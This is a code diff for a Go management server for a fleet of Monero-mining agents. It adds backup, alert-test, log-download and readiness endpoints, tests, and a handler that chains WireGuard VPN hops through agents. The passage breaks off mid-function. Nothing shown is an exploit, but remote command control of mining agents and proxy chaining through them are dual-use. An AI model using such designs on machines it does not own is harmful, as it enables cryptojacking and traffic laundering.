EventAgentConnect = "agent_connect"
|
||||||
|
EventAgentReconnect = "agent_reconnect"
|
||||||
|
EventBuildComplete = "build_complete"
|
||||||
|
)
|
||||||
74
server/internal/api/backup_handler.go
Normal file
74
server/internal/api/backup_handler.go
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"archive/zip"
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BackupHandler serves GET /api/v1/backup.
|
||||||
|
// It returns a zip containing config.json, users.json, miner.db, and a
|
||||||
|
// backup-info.txt with the timestamp and server version. The caller must
|
||||||
|
// already be authenticated via basicAuthMiddleware (registered in router.go).
|
||||||
|
type BackupHandler struct {
|
||||||
|
dataDir string
|
||||||
|
serverVersion string
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewBackupHandler creates a BackupHandler for the given data directory.
|
||||||
|
func NewBackupHandler(dataDir, serverVersion string) *BackupHandler {
|
||||||
|
return &BackupHandler{dataDir: dataDir, serverVersion: serverVersion}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *BackupHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodGet {
|
||||||
|
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
now := time.Now().UTC()
|
||||||
|
dateTag := now.Format("2006-01-02")
|
||||||
|
|
||||||
|
var buf bytes.Buffer
|
||||||
|
zw := zip.NewWriter(&buf)
|
||||||
|
|
||||||
|
// backup-info.txt
|
||||||
|
info := fmt.Sprintf("AetherForge Deck Backup\nTimestamp: %s\nVersion: %s\n",
|
||||||
|
now.Format(time.RFC3339), h.serverVersion)
|
||||||
|
if fw, err := zw.Create("backup-info.txt"); err == nil {
|
||||||
|
_, _ = fw.Write([]byte(info))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper: add a file from disk into the zip, skip gracefully if missing.
|
||||||
|
addFile := func(name, diskPath string) {
|
||||||
|
data, err := os.ReadFile(diskPath)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fw, err := zw.Create(name)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, _ = fw.Write(data)
|
||||||
|
}
|
||||||
|
|
||||||
|
addFile("config.json", filepath.Join(h.dataDir, "config.json"))
|
||||||
|
addFile("users.json", filepath.Join(h.dataDir, "users.json"))
|
||||||
|
addFile("miner.db", filepath.Join(h.dataDir, "miner.db"))
|
||||||
|
|
||||||
|
if err := zw.Close(); err != nil {
|
||||||
|
http.Error(w, "Failed to create backup zip", http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
filename := fmt.Sprintf("aetherforge-backup-%s.zip", dateTag)
|
||||||
|
w.Header().Set("Content-Type", "application/zip")
|
||||||
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
|
||||||
|
w.Header().Set("Content-Length", fmt.Sprintf("%d", buf.Len()))
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
_, _ = w.Write(buf.Bytes())
|
||||||
|
}
|
||||||
@@ -8,6 +8,8 @@ import (
|
|||||||
"log"
|
"log"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -35,6 +37,7 @@ type FleetHandler struct {
|
|||||||
pools *pool.Manager
|
pools *pool.Manager
|
||||||
alerts *alerts.Evaluator
|
alerts *alerts.Evaluator
|
||||||
defaultPool pool.Config
|
defaultPool pool.Config
|
||||||
|
dataDir string
|
||||||
|
|
||||||
// XMR price cache — per-handler so multiple routers in one process stay isolated.
|
// XMR price cache — per-handler so multiple routers in one process stay isolated.
|
||||||
xmrPriceMu sync.Mutex
|
xmrPriceMu sync.Mutex
|
||||||
@@ -52,7 +55,7 @@ type poolEarningsCache struct {
|
|||||||
|
|
||||||
const earningsCacheTTL = 5 * time.Minute
|
const earningsCacheTTL = 5 * time.Minute
|
||||||
|
|
||||||
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config, dataDir string) *FleetHandler {
|
||||||
return &FleetHandler{
|
return &FleetHandler{
|
||||||
db: database,
|
db: database,
|
||||||
ws: ws,
|
ws: ws,
|
||||||
@@ -60,6 +63,7 @@ func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *poo
|
|||||||
pools: pools,
|
pools: pools,
|
||||||
alerts: evaluator,
|
alerts: evaluator,
|
||||||
defaultPool: defaultPool,
|
defaultPool: defaultPool,
|
||||||
|
dataDir: dataDir,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,6 +75,53 @@ func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
|
|||||||
writeJSON(w, f.alerts.ActiveAlerts())
|
writeJSON(w, f.alerts.ActiveAlerts())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// PostAlertTest fires a test notification on every configured channel and
|
||||||
|
// returns per-channel results without raising a real fleet alert.
|
||||||
|
func (f *FleetHandler) PostAlertTest(w http.ResponseWriter, r *http.Request) {
|
||||||
|
const testMsg = "AetherForge test notification — alerts are configured correctly"
|
||||||
|
|
||||||
|
type channelResult struct {
|
||||||
|
Sent bool `json:"sent"`
|
||||||
|
Error *string `json:"error"`
|
||||||
|
}
|
||||||
|
|
||||||
|
result := map[string]channelResult{}
|
||||||
|
|
||||||
|
if f.alerts == nil {
|
||||||
|
errStr := "alert evaluator not configured"
|
||||||
|
result["telegram"] = channelResult{Sent: false, Error: &errStr}
|
||||||
|
result["smtp"] = channelResult{Sent: false, Error: &errStr}
|
||||||
|
writeJSON(w, result)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg := f.alerts.GetNotifyConfig()
|
||||||
|
|
||||||
|
// Telegram
|
||||||
|
if cfg.TelegramBotToken == "" || cfg.TelegramChatID == "" {
|
||||||
|
errStr := "not configured"
|
||||||
|
result["telegram"] = channelResult{Sent: false, Error: &errStr}
|
||||||
|
} else if err := alerts.SendTelegram(cfg, testMsg); err != nil {
|
||||||
|
errStr := err.Error()
|
||||||
|
result["telegram"] = channelResult{Sent: false, Error: &errStr}
|
||||||
|
} else {
|
||||||
|
result["telegram"] = channelResult{Sent: true}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SMTP
|
||||||
|
if !cfg.EmailEnabled || cfg.SMTPHost == "" || cfg.EmailTo == "" {
|
||||||
|
errStr := "not configured"
|
||||||
|
result["smtp"] = channelResult{Sent: false, Error: &errStr}
|
||||||
|
} else if err := alerts.SendEmail(cfg, "AetherForge Alert Test", testMsg); err != nil {
|
||||||
|
errStr := err.Error()
|
||||||
|
result["smtp"] = channelResult{Sent: false, Error: &errStr}
|
||||||
|
} else {
|
||||||
|
result["smtp"] = channelResult{Sent: true}
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, result)
|
||||||
|
}
|
||||||
|
|
||||||
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
|
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
|
||||||
if f.pools == nil {
|
if f.pools == nil {
|
||||||
writeJSON(w, []pool.PoolStatus{})
|
writeJSON(w, []pool.PoolStatus{})
|
||||||
@@ -254,6 +305,23 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
|||||||
// The dashboard will receive the log content via the commandResults queue.
|
// The dashboard will receive the log content via the commandResults queue.
|
||||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if r.URL.Query().Get("download") == "1" {
|
||||||
|
// If the in-memory buffer is empty, try the persisted log file on disk.
|
||||||
|
if content == "" && f.dataDir != "" {
|
||||||
|
logPath := filepath.Join(f.dataDir, "logs", id+".log")
|
||||||
|
if data, err := os.ReadFile(logPath); err == nil {
|
||||||
|
content = string(data)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
date := time.Now().UTC().Format("2006-01-02")
|
||||||
|
filename := fmt.Sprintf("agent-%s-%s.log", id, date)
|
||||||
|
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||||
|
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
|
||||||
|
fmt.Fprint(w, content)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
writeJSON(w, map[string]interface{}{
|
writeJSON(w, map[string]interface{}{
|
||||||
"agent_id": id,
|
"agent_id": id,
|
||||||
"content": content,
|
"content": content,
|
||||||
|
|||||||
@@ -64,7 +64,7 @@ func newTestFleetHandler(t *testing.T) (*FleetHandler, *db.Database, *WSHub, *AI
|
|||||||
t.Cleanup(func() { _ = database.Close() })
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
ws := NewWSHub(database)
|
ws := NewWSHub(database)
|
||||||
ai := NewAIHandler(database)
|
ai := NewAIHandler(database)
|
||||||
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{})
|
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{}, "")
|
||||||
return fh, database, ws, ai
|
return fh, database, ws, ai
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -182,10 +182,10 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
|
|||||||
|
|
||||||
evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
||||||
return alerts.Thresholds{OfflineMinutes: 5}
|
return alerts.Thresholds{OfflineMinutes: 5}
|
||||||
}, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil)
|
}, func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
|
||||||
evaluator.RunOnce()
|
evaluator.RunOnce()
|
||||||
|
|
||||||
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{})
|
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}, "")
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil))
|
fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil))
|
||||||
if rec.Code != http.StatusOK {
|
if rec.Code != http.StatusOK {
|
||||||
@@ -200,6 +200,48 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestFleetPostAlertTestUnconfigured(t *testing.T) {
|
||||||
|
evaluator := alerts.NewEvaluator(nil, func() alerts.Thresholds { return alerts.Thresholds{} },
|
||||||
|
func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
|
||||||
|
fh := NewFleetHandler(nil, NewWSHub(nil), NewAIHandler(nil), nil, evaluator, pool.Config{}, "")
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status %d", rec.Code)
|
||||||
|
}
|
||||||
|
var body map[string]struct {
|
||||||
|
Sent bool `json:"sent"`
|
||||||
|
Error *string `json:"error"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if body["telegram"].Sent || body["smtp"].Sent {
|
||||||
|
t.Fatalf("expected no sends, got %+v", body)
|
||||||
|
}
|
||||||
|
if body["telegram"].Error == nil || *body["telegram"].Error != "not configured" {
|
||||||
|
t.Fatalf("telegram: %+v", body["telegram"])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFleetPostAlertTestNilEvaluator(t *testing.T) {
|
||||||
|
fh, _, _, _ := newTestFleetHandler(t)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status %d", rec.Code)
|
||||||
|
}
|
||||||
|
var body map[string]struct {
|
||||||
|
Error *string `json:"error"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if body["telegram"].Error == nil || *body["telegram"].Error != "alert evaluator not configured" {
|
||||||
|
t.Fatalf("got %+v", body["telegram"])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestFleetGetPoolStatusNilManager(t *testing.T) {
|
func TestFleetGetPoolStatusNilManager(t *testing.T) {
|
||||||
fh, _, _, _ := newTestFleetHandler(t)
|
fh, _, _, _ := newTestFleetHandler(t)
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
@@ -556,7 +598,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
|
|||||||
fh, _, ws, _ := newTestFleetHandler(t)
|
fh, _, ws, _ := newTestFleetHandler(t)
|
||||||
|
|
||||||
t.Run("nil ws", func(t *testing.T) {
|
t.Run("nil ws", func(t *testing.T) {
|
||||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
|
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
|
||||||
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
|
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
|
||||||
@@ -736,7 +778,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) {
|
|||||||
fh, _, _, _ := newTestFleetHandler(t)
|
fh, _, _, _ := newTestFleetHandler(t)
|
||||||
|
|
||||||
t.Run("nil ws", func(t *testing.T) {
|
t.Run("nil ws", func(t *testing.T) {
|
||||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
|
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
|
||||||
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))
|
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))
|
||||||
|
|||||||
@@ -4,12 +4,15 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"time"
|
||||||
|
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
"github.com/go-chi/chi/v5"
|
"github.com/go-chi/chi/v5"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
var serverStartTime = time.Now()
|
||||||
|
|
||||||
type Handler struct {
|
type Handler struct {
|
||||||
db *db.Database
|
db *db.Database
|
||||||
}
|
}
|
||||||
@@ -100,6 +103,45 @@ func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) {
|
|||||||
writeJSON(w, map[string]string{"status": "ok"})
|
writeJSON(w, map[string]string{"status": "ok"})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GET /api/v1/server/ready
|
||||||
|
// Requires auth (not in the basicAuthMiddleware bypass list).
|
||||||
|
// Add ?verbose=1 to get full diagnostics; omit for a lightweight liveness check.
|
||||||
|
func (h *Handler) ServerReady(w http.ResponseWriter, r *http.Request) {
|
||||||
|
uptime := int64(time.Since(serverStartTime).Seconds())
|
||||||
|
resp := map[string]interface{}{
|
||||||
|
"status": "ok",
|
||||||
|
"uptime_s": uptime,
|
||||||
|
}
|
||||||
|
|
||||||
|
if r.URL.Query().Get("verbose") != "1" {
|
||||||
|
writeJSON(w, resp)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// DB ping
|
||||||
|
dbStatus := "ok"
|
||||||
|
if err := h.db.QueryRow("SELECT 1").Scan(new(int)); err != nil {
|
||||||
|
dbStatus = "error: " + err.Error()
|
||||||
|
resp["status"] = "degraded"
|
||||||
|
}
|
||||||
|
resp["db"] = dbStatus
|
||||||
|
|
||||||
|
// Count online agents
|
||||||
|
var onlineAgents int
|
||||||
|
if err := h.db.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&onlineAgents); err != nil {
|
||||||
|
onlineAgents = -1
|
||||||
|
}
|
||||||
|
resp["agents_online"] = onlineAgents
|
||||||
|
|
||||||
|
if resp["status"] == "degraded" {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
w.WriteHeader(http.StatusServiceUnavailable)
|
||||||
|
json.NewEncoder(w).Encode(resp)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, resp)
|
||||||
|
}
|
||||||
|
|
||||||
// GET /api/v1/builds
|
// GET /api/v1/builds
|
||||||
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||||
builds, err := h.db.ListBuilds(50)
|
builds, err := h.db.ListBuilds(50)
|
||||||
|
|||||||
@@ -68,7 +68,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
|||||||
cfg := &mockConfigProvider{}
|
cfg := &mockConfigProvider{}
|
||||||
configHandler := NewConfigHandler(cfg)
|
configHandler := NewConfigHandler(cfg)
|
||||||
aiHandler := NewAIHandler(database)
|
aiHandler := NewAIHandler(database)
|
||||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
|
|
||||||
|
|||||||
455
server/internal/api/pathtracer_handler.go
Normal file
455
server/internal/api/pathtracer_handler.go
Normal file
@@ -0,0 +1,455 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"image/color"
|
||||||
|
"image/png"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/go-chi/chi/v5"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
qrcode "github.com/skip2/go-qrcode"
|
||||||
|
|
||||||
|
"golang.org/x/crypto/curve25519"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ── types ─────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
// HopStatus tracks one agent's progress in a trace session.
|
||||||
|
type HopStatus string
|
||||||
|
|
||||||
|
const (
|
||||||
|
HopPending HopStatus = "pending"
|
||||||
|
HopReady HopStatus = "ready"
|
||||||
|
HopFailed HopStatus = "failed"
|
||||||
|
)
|
||||||
|
|
||||||
|
// HopInfo records what we know about each hop in the chain.
|
||||||
|
type HopInfo struct {
|
||||||
|
AgentID string `json:"agent_id"`
|
||||||
|
AgentName string `json:"agent_name"`
|
||||||
|
ExternalIP string `json:"external_ip"`
|
||||||
|
Port int `json:"port"`
|
||||||
|
PublicKey string `json:"public_key"`
|
||||||
|
PrivateKey string `json:"-"` // never sent to client
|
||||||
|
LocalAddr string `json:"local_addr"`
|
||||||
|
Status HopStatus `json:"status"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// TraceSession holds all state for one active VPN session.
|
||||||
|
type TraceSession struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
AgentIDs []string `json:"agent_ids"`
|
||||||
|
Hops []*HopInfo `json:"hops"`
|
||||||
|
Ready bool `json:"ready"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
// Client WireGuard keypair — used to build the QR config.
|
||||||
|
clientPrivKey string
|
||||||
|
clientPubKey string
|
||||||
|
}
|
||||||
|
|
||||||
|
// PathTracerHandler manages on-demand WireGuard chain sessions.
|
||||||
|
type PathTracerHandler struct {
|
||||||
|
hub *WSHub
|
||||||
|
mu sync.Mutex
|
||||||
|
sessions map[string]*TraceSession
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
|
||||||
|
return &PathTracerHandler{
|
||||||
|
hub: hub,
|
||||||
|
sessions: make(map[string]*TraceSession),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── HTTP handlers ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
// POST /api/v1/pathtrace/start
|
||||||
|
// Body: {"agent_ids": ["id1","id2",...]}
|
||||||
|
func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||||
|
var req struct {
|
||||||
|
AgentIDs []string `json:"agent_ids"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.AgentIDs) == 0 {
|
||||||
|
http.Error(w, "agent_ids required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(req.AgentIDs) > 3 {
|
||||||
|
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
clientPriv, clientPub, err := generateServerWGKeyPair()
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "keygen failed", http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
sess := &TraceSession{
|
||||||
|
ID: uuid.New().String(),
|
||||||
|
AgentIDs: req.AgentIDs,
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
clientPrivKey: clientPriv,
|
||||||
|
clientPubKey: clientPub,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build hops with placeholder names (agent name lookup below).
|
||||||
|
for i, id := range req.AgentIDs {
|
||||||
|
sess.Hops = append(sess.Hops, &HopInfo{
|
||||||
|
AgentID: id,
|
||||||
|
AgentName: fmt.Sprintf("hop-%d", i+1),
|
||||||
|
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
|
||||||
|
Port: 51820,
|
||||||
|
Status: HopPending,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
h.mu.Lock()
|
||||||
|
h.sessions[sess.ID] = sess
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
|
// Orchestrate asynchronously so the HTTP response returns quickly.
|
||||||
|
go h.orchestrate(sess)
|
||||||
|
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"session_id": sess.ID,
|
||||||
|
"hops": sess.Hops,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// GET /api/v1/pathtrace/{id}/status
|
||||||
|
func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
|
||||||
|
sess := h.getSession(chi.URLParam(r, "id"))
|
||||||
|
if sess == nil {
|
||||||
|
http.Error(w, "session not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
defer h.mu.Unlock()
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"session_id": sess.ID,
|
||||||
|
"ready": sess.Ready,
|
||||||
|
"error": sess.Error,
|
||||||
|
"hops": sess.Hops,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// GET /api/v1/pathtrace/{id}/qr
|
||||||
|
func (h *PathTracerHandler) QR(w http.ResponseWriter, r *http.Request) {
|
||||||
|
sess := h.getSession(chi.URLParam(r, "id"))
|
||||||
|
if sess == nil {
|
||||||
|
http.Error(w, "session not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
ready := sess.Ready
|
||||||
|
h.mu.Unlock()
|
||||||
|
if !ready {
|
||||||
|
http.Error(w, "session not ready yet", http.StatusAccepted)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg := h.buildClientConfig(sess)
|
||||||
|
|
||||||
|
// Return format: ?format=png → PNG image, default → JSON with text+png.
|
||||||
|
if r.URL.Query().Get("format") == "png" {
|
||||||
|
qr, err := qrcode.New(cfg, qrcode.High)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "qr generation failed", http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
qr.BackgroundColor = color.Black
|
||||||
|
qr.ForegroundColor = color.RGBA{R: 0, G: 255, B: 170, A: 255} // neon green
|
||||||
|
img := qr.Image(400)
|
||||||
|
w.Header().Set("Content-Type", "image/png")
|
||||||
|
_ = png.Encode(w, img)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
qr, err := qrcode.Encode(cfg, qrcode.High, 300)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "qr generation failed", http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"config": cfg,
|
||||||
|
"qr_png_b64": base64.StdEncoding.EncodeToString(qr),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// DELETE /api/v1/pathtrace/{id}
|
||||||
|
func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
|
||||||
|
id := chi.URLParam(r, "id")
|
||||||
|
sess := h.getSession(id)
|
||||||
|
if sess == nil {
|
||||||
|
http.Error(w, "session not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tell all agents to tear down.
|
||||||
|
for _, hop := range sess.Hops {
|
||||||
|
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||||
|
Type: "command",
|
||||||
|
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
h.mu.Lock()
|
||||||
|
delete(h.sessions, id)
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
|
writeJSON(w, map[string]interface{}{"ok": true})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── orchestration ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||||
|
log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))
|
||||||
|
|
||||||
|
// Phase 1: send wg_setup to every hop in parallel, collect keypairs + IPs.
|
||||||
|
type setupResp struct {
|
||||||
|
hop *HopInfo
|
||||||
|
pub string
|
||||||
|
ip string
|
||||||
|
port int
|
||||||
|
err string
|
||||||
|
}
|
||||||
|
results := make(chan setupResp, len(sess.Hops))
|
||||||
|
|
||||||
|
for _, hop := range sess.Hops {
|
||||||
|
hop := hop
|
||||||
|
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_setup")
|
||||||
|
err := h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||||
|
Type: "command",
|
||||||
|
Payload: mustMarshal(map[string]interface{}{"action": "wg_setup"}),
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
h.hub.CancelAwait(hop.AgentID, "wg_setup")
|
||||||
|
results <- setupResp{hop: hop, err: "agent not connected: " + err.Error()}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
go func() {
|
||||||
|
select {
|
||||||
|
case payload := <-ch:
|
||||||
|
msgStr, _ := payload["message"].(string)
|
||||||
|
// message is JSON-encoded WGSetupResult
|
||||||
|
var res struct {
|
||||||
|
PublicKey string `json:"public_key"`
|
||||||
|
ExternalIP string `json:"external_ip"`
|
||||||
|
ExternalPort int `json:"external_port"`
|
||||||
|
Error string `json:"error"`
|
||||||
|
}
|
||||||
|
if jerr := json.Unmarshal([]byte(msgStr), &res); jerr != nil {
|
||||||
|
results <- setupResp{hop: hop, err: "parse error: " + jerr.Error()}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if res.Error != "" {
|
